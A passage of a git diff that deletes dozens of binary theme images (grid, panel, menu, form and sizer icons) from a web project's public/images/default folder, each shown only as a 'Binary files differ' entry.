a/public/images/default/box/tb-blue.gif b/public/images/default/box/tb-blue.gif deleted file mode 100644 index 562fecca8..000000000 Binary files a/public/images/default/box/tb-blue.gif and /dev/null differ diff --git a/public/images/default/box/tb.gif b/public/images/default/box/tb.gif deleted file mode 100644 index 435889bff..000000000 Binary files a/public/images/default/box/tb.gif and /dev/null differ diff --git a/public/images/default/button/arrow.gif b/public/images/default/button/arrow.gif deleted file mode 100644 index 3ab4f71ac..000000000 Binary files a/public/images/default/button/arrow.gif and /dev/null differ diff --git a/public/images/default/button/btn.gif b/public/images/default/button/btn.gif deleted file mode 100644 index 06b404dd7..000000000 Binary files a/public/images/default/button/btn.gif and /dev/null differ diff --git a/public/images/default/button/group-cs.gif b/public/images/default/button/group-cs.gif deleted file mode 100644 index 3d1dca8f0..000000000 Binary files a/public/images/default/button/group-cs.gif and /dev/null differ diff --git a/public/images/default/button/group-lr.gif b/public/images/default/button/group-lr.gif deleted file mode 100644 index 7c549f96d..000000000 Binary files a/public/images/default/button/group-lr.gif and /dev/null differ diff --git a/public/images/default/button/group-tb.gif b/public/images/default/button/group-tb.gif deleted file mode 100644 index adeb0a4cf..000000000 Binary files a/public/images/default/button/group-tb.gif and /dev/null differ diff --git a/public/images/default/button/s-arrow-b-noline.gif b/public/images/default/button/s-arrow-b-noline.gif deleted file mode 100644 index a4220ee90..000000000 Binary files a/public/images/default/button/s-arrow-b-noline.gif and /dev/null differ diff --git a/public/images/default/button/s-arrow-b.gif b/public/images/default/button/s-arrow-b.gif deleted file mode 100644 index 84b647030..000000000 Binary files a/public/images/default/button/s-arrow-b.gif and /dev/null differ diff --git a/public/images/default/button/s-arrow-bo.gif b/public/images/default/button/s-arrow-bo.gif deleted file mode 100644 index 548700bf4..000000000 Binary files a/public/images/default/button/s-arrow-bo.gif and /dev/null differ diff --git a/public/images/default/button/s-arrow-noline.gif b/public/images/default/button/s-arrow-noline.gif deleted file mode 100644 index 0953eab5c..000000000 Binary files a/public/images/default/button/s-arrow-noline.gif and /dev/null differ diff --git a/public/images/default/button/s-arrow-o.gif b/public/images/default/button/s-arrow-o.gif deleted file mode 100644 index 89c70f36f..000000000 Binary files a/public/images/default/button/s-arrow-o.gif and /dev/null differ diff --git a/public/images/default/button/s-arrow.gif b/public/images/default/button/s-arrow.gif deleted file mode 100644 index 894077478..000000000 Binary files a/public/images/default/button/s-arrow.gif and /dev/null differ diff --git a/public/images/default/dd/drop-add.gif b/public/images/default/dd/drop-add.gif deleted file mode 100644 index b22cd1448..000000000 Binary files a/public/images/default/dd/drop-add.gif and /dev/null differ diff --git a/public/images/default/dd/drop-no.gif b/public/images/default/dd/drop-no.gif deleted file mode 100644 index 08d083355..000000000 Binary files a/public/images/default/dd/drop-no.gif and /dev/null differ diff --git a/public/images/default/dd/drop-yes.gif b/public/images/default/dd/drop-yes.gif deleted file mode 100644 index 8aacb307e..000000000 Binary files a/public/images/default/dd/drop-yes.gif and /dev/null differ diff --git a/public/images/default/editor/tb-sprite.gif b/public/images/default/editor/tb-sprite.gif deleted file mode 100644 index fb7057761..000000000 Binary files a/public/images/default/editor/tb-sprite.gif and /dev/null differ diff --git a/public/images/default/form/checkbox.gif b/public/images/default/form/checkbox.gif deleted file mode 100644 index 835b346cc..000000000 Binary files a/public/images/default/form/checkbox.gif and /dev/null differ diff --git a/public/images/default/form/clear-trigger.gif b/public/images/default/form/clear-trigger.gif deleted file mode 100644 index da78d45b3..000000000 Binary files a/public/images/default/form/clear-trigger.gif and /dev/null differ diff --git a/public/images/default/form/clear-trigger.psd b/public/images/default/form/clear-trigger.psd deleted file mode 100644 index f637fa5d1..000000000 Binary files a/public/images/default/form/clear-trigger.psd and /dev/null differ diff --git a/public/images/default/form/date-trigger.gif b/public/images/default/form/date-trigger.gif deleted file mode 100644 index 25ef7b3ae..000000000 Binary files a/public/images/default/form/date-trigger.gif and /dev/null differ diff --git a/public/images/default/form/date-trigger.psd b/public/images/default/form/date-trigger.psd deleted file mode 100644 index 74883b21c..000000000 Binary files a/public/images/default/form/date-trigger.psd and /dev/null differ diff --git a/public/images/default/form/error-tip-corners.gif b/public/images/default/form/error-tip-corners.gif deleted file mode 100644 index 6ea4c3838..000000000 Binary files a/public/images/default/form/error-tip-corners.gif and /dev/null differ diff --git a/public/images/default/form/exclamation.gif b/public/images/default/form/exclamation.gif deleted file mode 100644 index ea31a3060..000000000 Binary files a/public/images/default/form/exclamation.gif and /dev/null differ diff --git a/public/images/default/form/radio.gif b/public/images/default/form/radio.gif deleted file mode 100644 index 36bb91d0c..000000000 Binary files a/public/images/default/form/radio.gif and /dev/null differ diff --git a/public/images/default/form/search-trigger.gif b/public/images/default/form/search-trigger.gif deleted file mode 100644 index db8802beb..000000000 Binary files a/public/images/default/form/search-trigger.gif and /dev/null differ diff --git a/public/images/default/form/search-trigger.psd b/public/images/default/form/search-trigger.psd deleted file mode 100644 index b11f27300..000000000 Binary files a/public/images/default/form/search-trigger.psd and /dev/null differ diff --git a/public/images/default/form/text-bg.gif b/public/images/default/form/text-bg.gif deleted file mode 100644 index 4179607cc..000000000 Binary files a/public/images/default/form/text-bg.gif and /dev/null differ diff --git a/public/images/default/form/trigger-tpl.gif b/public/images/default/form/trigger-tpl.gif deleted file mode 100644 index e3701a383..000000000 Binary files a/public/images/default/form/trigger-tpl.gif and /dev/null differ diff --git a/public/images/default/form/trigger.gif b/public/images/default/form/trigger.gif deleted file mode 100644 index fa563147f..000000000 Binary files a/public/images/default/form/trigger.gif and /dev/null differ diff --git a/public/images/default/form/trigger.psd b/public/images/default/form/trigger.psd deleted file mode 100644 index 1f1ed6460..000000000 Binary files a/public/images/default/form/trigger.psd and /dev/null differ diff --git a/public/images/default/gradient-bg.gif b/public/images/default/gradient-bg.gif deleted file mode 100644 index 8134e4994..000000000 Binary files a/public/images/default/gradient-bg.gif and /dev/null differ diff --git a/public/images/default/grid/arrow-left-white.gif b/public/images/default/grid/arrow-left-white.gif deleted file mode 100644 index 63088f56e..000000000 Binary files a/public/images/default/grid/arrow-left-white.gif and /dev/null differ diff --git a/public/images/default/grid/arrow-right-white.gif b/public/images/default/grid/arrow-right-white.gif deleted file mode 100644 index e9e067890..000000000 Binary files a/public/images/default/grid/arrow-right-white.gif and /dev/null differ diff --git a/public/images/default/grid/col-move-bottom.gif b/public/images/default/grid/col-move-bottom.gif deleted file mode 100644 index cc1e473ec..000000000 Binary files a/public/images/default/grid/col-move-bottom.gif and /dev/null differ diff --git a/public/images/default/grid/col-move-top.gif b/public/images/default/grid/col-move-top.gif deleted file mode 100644 index 58ff32cc8..000000000 Binary files a/public/images/default/grid/col-move-top.gif and /dev/null differ diff --git a/public/images/default/grid/columns.gif b/public/images/default/grid/columns.gif deleted file mode 100644 index 2d3a82393..000000000 Binary files a/public/images/default/grid/columns.gif and /dev/null differ diff --git a/public/images/default/grid/dirty.gif b/public/images/default/grid/dirty.gif deleted file mode 100644 index 4f217a479..000000000 Binary files a/public/images/default/grid/dirty.gif and /dev/null differ diff --git a/public/images/default/grid/done.gif b/public/images/default/grid/done.gif deleted file mode 100644 index a937cb22c..000000000 Binary files a/public/images/default/grid/done.gif and /dev/null differ diff --git a/public/images/default/grid/drop-no.gif b/public/images/default/grid/drop-no.gif deleted file mode 100644 index 31a332bf7..000000000 Binary files a/public/images/default/grid/drop-no.gif and /dev/null differ diff --git a/public/images/default/grid/drop-yes.gif b/public/images/default/grid/drop-yes.gif deleted file mode 100644 index 926010e17..000000000 Binary files a/public/images/default/grid/drop-yes.gif and /dev/null differ diff --git a/public/images/default/grid/footer-bg.gif b/public/images/default/grid/footer-bg.gif deleted file mode 100644 index 126120f71..000000000 Binary files a/public/images/default/grid/footer-bg.gif and /dev/null differ diff --git a/public/images/default/grid/grid-blue-hd.gif b/public/images/default/grid/grid-blue-hd.gif deleted file mode 100644 index 862094e68..000000000 Binary files a/public/images/default/grid/grid-blue-hd.gif and /dev/null differ diff --git a/public/images/default/grid/grid-blue-split.gif b/public/images/default/grid/grid-blue-split.gif deleted file mode 100644 index 5286f58f6..000000000 Binary files a/public/images/default/grid/grid-blue-split.gif and /dev/null differ diff --git a/public/images/default/grid/grid-hrow.gif b/public/images/default/grid/grid-hrow.gif deleted file mode 100644 index 637410420..000000000 Binary files a/public/images/default/grid/grid-hrow.gif and /dev/null differ diff --git a/public/images/default/grid/grid-loading.gif b/public/images/default/grid/grid-loading.gif deleted file mode 100644 index d112c5401..000000000 Binary files a/public/images/default/grid/grid-loading.gif and /dev/null differ diff --git a/public/images/default/grid/grid-split.gif b/public/images/default/grid/grid-split.gif deleted file mode 100644 index c76a16e95..000000000 Binary files a/public/images/default/grid/grid-split.gif and /dev/null differ diff --git a/public/images/default/grid/grid-vista-hd.gif b/public/images/default/grid/grid-vista-hd.gif deleted file mode 100644 index d0972638e..000000000 Binary files a/public/images/default/grid/grid-vista-hd.gif and /dev/null differ diff --git a/public/images/default/grid/grid3-hd-btn.gif b/public/images/default/grid/grid3-hd-btn.gif deleted file mode 100644 index 21126075e..000000000 Binary files a/public/images/default/grid/grid3-hd-btn.gif and /dev/null differ diff --git a/public/images/default/grid/grid3-hrow-over.gif b/public/images/default/grid/grid3-hrow-over.gif deleted file mode 100644 index f9c07af13..000000000 Binary files a/public/images/default/grid/grid3-hrow-over.gif and /dev/null differ diff --git a/public/images/default/grid/grid3-hrow.gif b/public/images/default/grid/grid3-hrow.gif deleted file mode 100644 index 8d459a304..000000000 Binary files a/public/images/default/grid/grid3-hrow.gif and /dev/null differ diff --git a/public/images/default/grid/grid3-special-col-bg.gif b/public/images/default/grid/grid3-special-col-bg.gif deleted file mode 100644 index 0b4d6ca3b..000000000 Binary files a/public/images/default/grid/grid3-special-col-bg.gif and /dev/null differ diff --git a/public/images/default/grid/grid3-special-col-sel-bg.gif b/public/images/default/grid/grid3-special-col-sel-bg.gif deleted file mode 100644 index 1dfe9a69e..000000000 Binary files a/public/images/default/grid/grid3-special-col-sel-bg.gif and /dev/null differ diff --git a/public/images/default/grid/group-by.gif b/public/images/default/grid/group-by.gif deleted file mode 100644 index d6075bba2..000000000 Binary files a/public/images/default/grid/group-by.gif and /dev/null differ diff --git a/public/images/default/grid/group-collapse.gif b/public/images/default/grid/group-collapse.gif deleted file mode 100644 index 495bb051d..000000000 Binary files a/public/images/default/grid/group-collapse.gif and /dev/null differ diff --git a/public/images/default/grid/group-expand-sprite.gif b/public/images/default/grid/group-expand-sprite.gif deleted file mode 100644 index 9c1653b48..000000000 Binary files a/public/images/default/grid/group-expand-sprite.gif and /dev/null differ diff --git a/public/images/default/grid/group-expand.gif b/public/images/default/grid/group-expand.gif deleted file mode 100644 index a33ac30bd..000000000 Binary files a/public/images/default/grid/group-expand.gif and /dev/null differ diff --git a/public/images/default/grid/hd-pop.gif b/public/images/default/grid/hd-pop.gif deleted file mode 100644 index eb8ba7967..000000000 Binary files a/public/images/default/grid/hd-pop.gif and /dev/null differ diff --git a/public/images/default/grid/hmenu-asc.gif b/public/images/default/grid/hmenu-asc.gif deleted file mode 100644 index 8917e0eee..000000000 Binary files a/public/images/default/grid/hmenu-asc.gif and /dev/null differ diff --git a/public/images/default/grid/hmenu-desc.gif b/public/images/default/grid/hmenu-desc.gif deleted file mode 100644 index f26b7c2fc..000000000 Binary files a/public/images/default/grid/hmenu-desc.gif and /dev/null differ diff --git a/public/images/default/grid/hmenu-lock.gif b/public/images/default/grid/hmenu-lock.gif deleted file mode 100644 index 159612610..000000000 Binary files a/public/images/default/grid/hmenu-lock.gif and /dev/null differ diff --git a/public/images/default/grid/hmenu-lock.png b/public/images/default/grid/hmenu-lock.png deleted file mode 100644 index 8b81e7ff2..000000000 Binary files a/public/images/default/grid/hmenu-lock.png and /dev/null differ diff --git a/public/images/default/grid/hmenu-unlock.gif b/public/images/default/grid/hmenu-unlock.gif deleted file mode 100644 index af59cf92a..000000000 Binary files a/public/images/default/grid/hmenu-unlock.gif and /dev/null differ diff --git a/public/images/default/grid/hmenu-unlock.png b/public/images/default/grid/hmenu-unlock.png deleted file mode 100644 index 9dd5df34b..000000000 Binary files a/public/images/default/grid/hmenu-unlock.png and /dev/null differ diff --git a/public/images/default/grid/invalid_line.gif b/public/images/default/grid/invalid_line.gif deleted file mode 100644 index fb7e0f34d..000000000 Binary files a/public/images/default/grid/invalid_line.gif and /dev/null differ diff --git a/public/images/default/grid/loading.gif b/public/images/default/grid/loading.gif deleted file mode 100644 index e846e1d6c..000000000 Binary files a/public/images/default/grid/loading.gif and /dev/null differ diff --git a/public/images/default/grid/mso-hd.gif b/public/images/default/grid/mso-hd.gif deleted file mode 100644 index 669f3cf08..000000000 Binary files a/public/images/default/grid/mso-hd.gif and /dev/null differ diff --git a/public/images/default/grid/nowait.gif b/public/images/default/grid/nowait.gif deleted file mode 100644 index 4c5862cd5..000000000 Binary files a/public/images/default/grid/nowait.gif and /dev/null differ diff --git a/public/images/default/grid/page-first-disabled.gif b/public/images/default/grid/page-first-disabled.gif deleted file mode 100644 index 1e02c419f..000000000 Binary files a/public/images/default/grid/page-first-disabled.gif and /dev/null differ diff --git a/public/images/default/grid/page-first.gif b/public/images/default/grid/page-first.gif deleted file mode 100644 index d84f41a91..000000000 Binary files a/public/images/default/grid/page-first.gif and /dev/null differ diff --git a/public/images/default/grid/page-last-disabled.gif b/public/images/default/grid/page-last-disabled.gif deleted file mode 100644 index 869706777..000000000 Binary files a/public/images/default/grid/page-last-disabled.gif and /dev/null differ diff --git a/public/images/default/grid/page-last.gif b/public/images/default/grid/page-last.gif deleted file mode 100644 index 3df5c2ba5..000000000 Binary files a/public/images/default/grid/page-last.gif and /dev/null differ diff --git a/public/images/default/grid/page-next-disabled.gif b/public/images/default/grid/page-next-disabled.gif deleted file mode 100644 index 90a7756f6..000000000 Binary files a/public/images/default/grid/page-next-disabled.gif and /dev/null differ diff --git a/public/images/default/grid/page-next.gif b/public/images/default/grid/page-next.gif deleted file mode 100644 index 960163530..000000000 Binary files a/public/images/default/grid/page-next.gif and /dev/null differ diff --git a/public/images/default/grid/page-prev-disabled.gif b/public/images/default/grid/page-prev-disabled.gif deleted file mode 100644 index 37154d624..000000000 Binary files a/public/images/default/grid/page-prev-disabled.gif and /dev/null differ diff --git a/public/images/default/grid/page-prev.gif b/public/images/default/grid/page-prev.gif deleted file mode 100644 index eb70cf8f6..000000000 Binary files a/public/images/default/grid/page-prev.gif and /dev/null differ diff --git a/public/images/default/grid/pick-button.gif b/public/images/default/grid/pick-button.gif deleted file mode 100644 index 6957924a8..000000000 Binary files a/public/images/default/grid/pick-button.gif and /dev/null differ diff --git a/public/images/default/grid/refresh-disabled.gif b/public/images/default/grid/refresh-disabled.gif deleted file mode 100644 index 607800b85..000000000 Binary files a/public/images/default/grid/refresh-disabled.gif and /dev/null differ diff --git a/public/images/default/grid/refresh.gif b/public/images/default/grid/refresh.gif deleted file mode 100644 index 110f6844b..000000000 Binary files a/public/images/default/grid/refresh.gif and /dev/null differ diff --git a/public/images/default/grid/row-check-sprite.gif b/public/images/default/grid/row-check-sprite.gif deleted file mode 100644 index 610116465..000000000 Binary files a/public/images/default/grid/row-check-sprite.gif and /dev/null differ diff --git a/public/images/default/grid/row-expand-sprite.gif b/public/images/default/grid/row-expand-sprite.gif deleted file mode 100644 index 6f4d874f5..000000000 Binary files a/public/images/default/grid/row-expand-sprite.gif and /dev/null differ diff --git a/public/images/default/grid/row-over.gif b/public/images/default/grid/row-over.gif deleted file mode 100644 index b288e3873..000000000 Binary files a/public/images/default/grid/row-over.gif and /dev/null differ diff --git a/public/images/default/grid/row-sel.gif b/public/images/default/grid/row-sel.gif deleted file mode 100644 index 98209e6e7..000000000 Binary files a/public/images/default/grid/row-sel.gif and /dev/null differ diff --git a/public/images/default/grid/sort-hd.gif b/public/images/default/grid/sort-hd.gif deleted file mode 100644 index 45e545f74..000000000 Binary files a/public/images/default/grid/sort-hd.gif and /dev/null differ diff --git a/public/images/default/grid/sort_asc.gif b/public/images/default/grid/sort_asc.gif deleted file mode 100644 index 67a2a4c66..000000000 Binary files a/public/images/default/grid/sort_asc.gif and /dev/null differ diff --git a/public/images/default/grid/sort_desc.gif b/public/images/default/grid/sort_desc.gif deleted file mode 100644 index 34db47c3b..000000000 Binary files a/public/images/default/grid/sort_desc.gif and /dev/null differ diff --git a/public/images/default/grid/wait.gif b/public/images/default/grid/wait.gif deleted file mode 100644 index 471c1a4f9..000000000 Binary files a/public/images/default/grid/wait.gif and /dev/null differ diff --git a/public/images/default/layout/collapse.gif b/public/images/default/layout/collapse.gif deleted file mode 100644 index d87b0a9dd..000000000 Binary files a/public/images/default/layout/collapse.gif and /dev/null differ diff --git a/public/images/default/layout/expand.gif b/public/images/default/layout/expand.gif deleted file mode 100644 index 7b6e1c1ef..000000000 Binary files a/public/images/default/layout/expand.gif and /dev/null differ diff --git a/public/images/default/layout/gradient-bg.gif b/public/images/default/layout/gradient-bg.gif deleted file mode 100644 index 8134e4994..000000000 Binary files a/public/images/default/layout/gradient-bg.gif and /dev/null differ diff --git a/public/images/default/layout/mini-bottom.gif b/public/images/default/layout/mini-bottom.gif deleted file mode 100644 index c18f9e34a..000000000 Binary files a/public/images/default/layout/mini-bottom.gif and /dev/null differ diff --git a/public/images/default/layout/mini-left.gif b/public/images/default/layout/mini-left.gif deleted file mode 100644 index 99f7993f2..000000000 Binary files a/public/images/default/layout/mini-left.gif and /dev/null differ diff --git a/public/images/default/layout/mini-right.gif b/public/images/default/layout/mini-right.gif deleted file mode 100644 index 5b13c5a8b..000000000 Binary files a/public/images/default/layout/mini-right.gif and /dev/null differ diff --git a/public/images/default/layout/mini-top.gif b/public/images/default/layout/mini-top.gif deleted file mode 100644 index a4ca2bb20..000000000 Binary files a/public/images/default/layout/mini-top.gif and /dev/null differ diff --git a/public/images/default/layout/ns-collapse.gif b/public/images/default/layout/ns-collapse.gif deleted file mode 100644 index df2a77e9c..000000000 Binary files a/public/images/default/layout/ns-collapse.gif and /dev/null differ diff --git a/public/images/default/layout/ns-expand.gif b/public/images/default/layout/ns-expand.gif deleted file mode 100644 index 77ab9dad2..000000000 Binary files a/public/images/default/layout/ns-expand.gif and /dev/null differ diff --git a/public/images/default/layout/panel-close.gif b/public/images/default/layout/panel-close.gif deleted file mode 100644 index 2bdd62399..000000000 Binary files a/public/images/default/layout/panel-close.gif and /dev/null differ diff --git a/public/images/default/layout/panel-title-bg.gif b/public/images/default/layout/panel-title-bg.gif deleted file mode 100644 index d1daef54c..000000000 Binary files a/public/images/default/layout/panel-title-bg.gif and /dev/null differ diff --git a/public/images/default/layout/panel-title-light-bg.gif b/public/images/default/layout/panel-title-light-bg.gif deleted file mode 100644 index 8c2c83d82..000000000 Binary files a/public/images/default/layout/panel-title-light-bg.gif and /dev/null differ diff --git a/public/images/default/layout/stick.gif b/public/images/default/layout/stick.gif deleted file mode 100644 index 5a1e8ba19..000000000 Binary files a/public/images/default/layout/stick.gif and /dev/null differ diff --git a/public/images/default/layout/stuck.gif b/public/images/default/layout/stuck.gif deleted file mode 100644 index 0a8de4db9..000000000 Binary files a/public/images/default/layout/stuck.gif and /dev/null differ diff --git a/public/images/default/layout/tab-close-on.gif b/public/images/default/layout/tab-close-on.gif deleted file mode 100644 index eacea39b6..000000000 Binary files a/public/images/default/layout/tab-close-on.gif and /dev/null differ diff --git a/public/images/default/layout/tab-close.gif b/public/images/default/layout/tab-close.gif deleted file mode 100644 index 45db61e60..000000000 Binary files a/public/images/default/layout/tab-close.gif and /dev/null differ diff --git a/public/images/default/menu/checked.gif b/public/images/default/menu/checked.gif deleted file mode 100644 index fad589372..000000000 Binary files a/public/images/default/menu/checked.gif and /dev/null differ diff --git a/public/images/default/menu/group-checked.gif b/public/images/default/menu/group-checked.gif deleted file mode 100644 index d30b3e5a8..000000000 Binary files a/public/images/default/menu/group-checked.gif and /dev/null differ diff --git a/public/images/default/menu/item-over.gif b/public/images/default/menu/item-over.gif deleted file mode 100644 index 016783932..000000000 Binary files a/public/images/default/menu/item-over.gif and /dev/null differ diff --git a/public/images/default/menu/menu-parent.gif b/public/images/default/menu/menu-parent.gif deleted file mode 100644 index 1e375622f..000000000 Binary files a/public/images/default/menu/menu-parent.gif and /dev/null differ diff --git a/public/images/default/menu/menu.gif b/public/images/default/menu/menu.gif deleted file mode 100644 index 30a2c4b6c..000000000 Binary files a/public/images/default/menu/menu.gif and /dev/null differ diff --git a/public/images/default/menu/unchecked.gif b/public/images/default/menu/unchecked.gif deleted file mode 100644 index 43823e52d..000000000 Binary files a/public/images/default/menu/unchecked.gif and /dev/null differ diff --git a/public/images/default/panel/corners-sprite.gif b/public/images/default/panel/corners-sprite.gif deleted file mode 100644 index aa0d0ed8f..000000000 Binary files a/public/images/default/panel/corners-sprite.gif and /dev/null differ diff --git a/public/images/default/panel/left-right.gif b/public/images/default/panel/left-right.gif deleted file mode 100644 index 9fae2d594..000000000 Binary files a/public/images/default/panel/left-right.gif and /dev/null differ diff --git a/public/images/default/panel/light-hd.gif b/public/images/default/panel/light-hd.gif deleted file mode 100644 index 58d6747b5..000000000 Binary files a/public/images/default/panel/light-hd.gif and /dev/null differ diff --git a/public/images/default/panel/tool-sprite-tpl.gif b/public/images/default/panel/tool-sprite-tpl.gif deleted file mode 100644 index e6478670e..000000000 Binary files a/public/images/default/panel/tool-sprite-tpl.gif and /dev/null differ diff --git a/public/images/default/panel/tool-sprites.gif b/public/images/default/panel/tool-sprites.gif deleted file mode 100644 index 9a3c5b9ac..000000000 Binary files a/public/images/default/panel/tool-sprites.gif and /dev/null differ diff --git a/public/images/default/panel/tools-sprites-trans.gif b/public/images/default/panel/tools-sprites-trans.gif deleted file mode 100644 index ead931ef6..000000000 Binary files a/public/images/default/panel/tools-sprites-trans.gif and /dev/null differ diff --git a/public/images/default/panel/top-bottom.gif b/public/images/default/panel/top-bottom.gif deleted file mode 100644 index be6c50e1c..000000000 Binary files a/public/images/default/panel/top-bottom.gif and /dev/null differ diff --git a/public/images/default/panel/top-bottom.png b/public/images/default/panel/top-bottom.png deleted file mode 100644 index 578ffb609..000000000 Binary files a/public/images/default/panel/top-bottom.png and /dev/null differ diff --git a/public/images/default/panel/white-corners-sprite.gif b/public/images/default/panel/white-corners-sprite.gif deleted file mode 100644 index 22d4bbab4..000000000 Binary files a/public/images/default/panel/white-corners-sprite.gif and /dev/null differ diff --git a/public/images/default/panel/white-left-right.gif b/public/images/default/panel/white-left-right.gif deleted file mode 100644 index d82c33784..000000000 Binary files a/public/images/default/panel/white-left-right.gif and /dev/null differ diff --git a/public/images/default/panel/white-top-bottom.gif b/public/images/default/panel/white-top-bottom.gif deleted file mode 100644 index fe7dd1c1e..000000000 Binary files a/public/images/default/panel/white-top-bottom.gif and /dev/null differ diff --git a/public/images/default/progress/progress-bg.gif b/public/images/default/progress/progress-bg.gif deleted file mode 100644 index 1c1abeb4b..000000000 Binary files a/public/images/default/progress/progress-bg.gif and /dev/null differ diff --git a/public/images/default/qtip/bg.gif b/public/images/default/qtip/bg.gif deleted file mode 100644 index 43488afdb..000000000 Binary files a/public/images/default/qtip/bg.gif and /dev/null differ diff --git a/public/images/default/qtip/close.gif b/public/images/default/qtip/close.gif deleted file mode 100644 index 69ab915e4..000000000 Binary files a/public/images/default/qtip/close.gif and /dev/null differ diff --git a/public/images/default/qtip/tip-anchor-sprite.gif b/public/images/default/qtip/tip-anchor-sprite.gif deleted file mode 100644 index 9cf485060..000000000 Binary files a/public/images/default/qtip/tip-anchor-sprite.gif and /dev/null differ diff --git a/public/images/default/qtip/tip-sprite.gif b/public/images/default/qtip/tip-sprite.gif deleted file mode 100644 index 9810acac5..000000000 Binary files a/public/images/default/qtip/tip-sprite.gif and /dev/null differ diff --git a/public/images/default/s.gif b/public/images/default/s.gif deleted file mode 100644 index 1d11fa9ad..000000000 Binary files a/public/images/default/s.gif and /dev/null differ diff --git a/public/images/default/shadow-c.png b/public/images/default/shadow-c.png deleted file mode 100644 index d435f80ae..000000000 Binary files a/public/images/default/shadow-c.png and /dev/null differ diff --git a/public/images/default/shadow-lr.png b/public/images/default/shadow-lr.png deleted file mode 100644 index bb88b6f2b..000000000 Binary files a/public/images/default/shadow-lr.png and /dev/null differ diff --git a/public/images/default/shadow.png b/public/images/default/shadow.png deleted file mode 100644 index 75c0eba3e..000000000 Binary files a/public/images/default/shadow.png and /dev/null differ diff --git a/public/images/default/shared/blue-loading.gif b/public/images/default/shared/blue-loading.gif deleted file mode 100644 index 3bbf639ef..000000000 Binary files a/public/images/default/shared/blue-loading.gif and /dev/null differ diff --git a/public/images/default/shared/calendar.gif b/public/images/default/shared/calendar.gif deleted file mode 100644 index 133cf232b..000000000 Binary files a/public/images/default/shared/calendar.gif and /dev/null differ diff --git a/public/images/default/shared/glass-bg.gif b/public/images/default/shared/glass-bg.gif deleted file mode 100644 index 26fbbae3b..000000000 Binary files a/public/images/default/shared/glass-bg.gif and /dev/null differ diff --git a/public/images/default/shared/hd-sprite.gif b/public/images/default/shared/hd-sprite.gif deleted file mode 100644 index 42da1ea1a..000000000 Binary files a/public/images/default/shared/hd-sprite.gif and /dev/null differ diff --git a/public/images/default/shared/large-loading.gif b/public/images/default/shared/large-loading.gif deleted file mode 100644 index b36b555b4..000000000 Binary files a/public/images/default/shared/large-loading.gif and /dev/null differ diff --git a/public/images/default/shared/left-btn.gif b/public/images/default/shared/left-btn.gif deleted file mode 100644 index a0ddd9ee8..000000000 Binary files a/public/images/default/shared/left-btn.gif and /dev/null differ diff --git a/public/images/default/shared/loading-balls.gif b/public/images/default/shared/loading-balls.gif deleted file mode 100644 index 9ce214beb..000000000 Binary files a/public/images/default/shared/loading-balls.gif and /dev/null differ diff --git a/public/images/default/shared/right-btn.gif b/public/images/default/shared/right-btn.gif deleted file mode 100644 index dee63e211..000000000 Binary files a/public/images/default/shared/right-btn.gif and /dev/null differ diff --git a/public/images/default/shared/warning.gif b/public/images/default/shared/warning.gif deleted file mode 100644 index 806d4bc09..000000000 Binary files a/public/images/default/shared/warning.gif and /dev/null differ diff --git a/public/images/default/sizer/e-handle-dark.gif b/public/images/default/sizer/e-handle-dark.gif deleted file mode 100644 index b5486c1a9..000000000 Binary files a/public/images/default/sizer/e-handle-dark.gif and /dev/null differ diff --git a/public/images/default/sizer/e-handle.gif b/public/images/default/sizer/e-handle.gif deleted file mode 100644 index 00ba83500..000000000 Binary files a/public/images/default/sizer/e-handle.gif and /dev/null differ diff --git a/public/images/default/sizer/ne-handle-dark.gif b/public/images/default/sizer/ne-handle-dark.gif deleted file mode 100644 index 04e5ecf7d..000000000 Binary files a/public/images/default/sizer/ne-handle-dark.gif and /dev/null differ diff --git a/public/images/default/sizer/ne-handle.gif b/public/images/default/sizer/ne-handle.gif deleted file mode 100644 index 09405c7ac..000000000 Binary files a/public/images/default/sizer/ne-handle.gif and /dev/null differ diff --git a/public/images/default/sizer/nw-handle-dark.gif b/public/images/default/sizer/nw-handle-dark.gif deleted file mode 100644 index 6e49d6967..000000000 Binary files a/public/images/default/sizer/nw-handle-dark.gif and /dev/null differ diff --git a/public/images/default/sizer/nw-handle.gif b/public/images/default/sizer/nw-handle.gif deleted file mode 100644 index 2fcea8a92..000000000 Binary files a/public/images/default/sizer/nw-handle.gif and /dev/null differ diff --git a/public/images/default/sizer/s-handle-dark.gif b/public/images/default/sizer/s-handle-dark.gif deleted file mode 100644 index 4eb5f0fcc..000000000 Binary files a/public/images/default/sizer/s-handle-dark.gif and /dev/null differ diff --git a/public/images/default/sizer/s-handle.gif b/public/images/default/sizer/s-handle.gif deleted file mode 100644 index bf069c243..000000000 Binary files a/public/images/default/sizer/s-handle.gif and /dev/null differ diff --git a/public/images/default/sizer/se-handle-dark.gif b/public/images/default/sizer/se-handle-dark.gif deleted file mode 100644 index c4c108786..000000000 Binary files a/public/images/default/sizer/se-handle-dark.gif and /dev/null differ diff --git a/public/images/default/sizer/se-handle.gif b/public/images/default/sizer/se-handle.gif deleted file mode 100644 index 972055e7b..000000000 Binary files a/public/images/default/sizer/se-handle.gif and /dev/null differ diff --git a/public/images/default/sizer/square.gif b/public/images/default/sizer/square.gif deleted file mode 100644 index 14ce6f725..000000000 Binary files a/public/images/default/sizer/square.gif and /dev/null differ diff --git a/public/images/default/sizer/sw-handle-dark.gif b/public/images/default/sizer/sw-handle-dark.gif deleted file mode 100644 index 77224b0c0..000000000 Binary files a/public/images/default/sizer/sw-handle-dark.gif and /dev/null differ diff --git a/public/images/default/sizer/sw-handle.gif b/public/images/default/sizer/sw-handle.gif deleted file mode 100644 index 3ca0ed96d..000000000 Binary files a/public/images/default/sizer/sw-handle.gif and /dev/null differ diff --git a/public/images/default/slider/slider-bg.png b/public/images/default/slider/slider-bg.png deleted file mode 100644 index 999919424..000000000 Binary files a/public/images/default/slider/slider-bg.png and /dev/null differ diff --git a/public/images/default/slider/slider-thumb.png b/public/images/default/slider/slider-thumb.png deleted file mode 100644 index cd654a4c1..000000000 Binary files a/public/images/default/slider/slider-thumb.png and /dev/null differ diff --git a/public/images/default/slider/slider-v-bg.png b/public/images/default/slider/slider-v-bg.png deleted file mode 100644 index 121450c28..000000000 Binary files a/public/images/default/slider/slider-v-bg.png and /dev/null differ diff --git a/public/images/default/slider/slider-v-thumb.png b/public/images/default/slider/slider-v-thumb.png deleted file mode 100644 index 7b3d7258a..000000000 Binary files a/public/images/default/slider/slider-v-thumb.png and /dev/null differ diff --git a/public/images/default/tabs/scroll-left.gif b/public/images/default/tabs/scroll-left.gif deleted file mode 100644 index 9f2f6d1c9..000000000 Binary files a/public/images/default/tabs/scroll-left.gif and /dev/null differ diff --git a/public/images/default/tabs/scroll-right.gif b/public/images/default/tabs/scroll-right.gif deleted file mode 100644 index 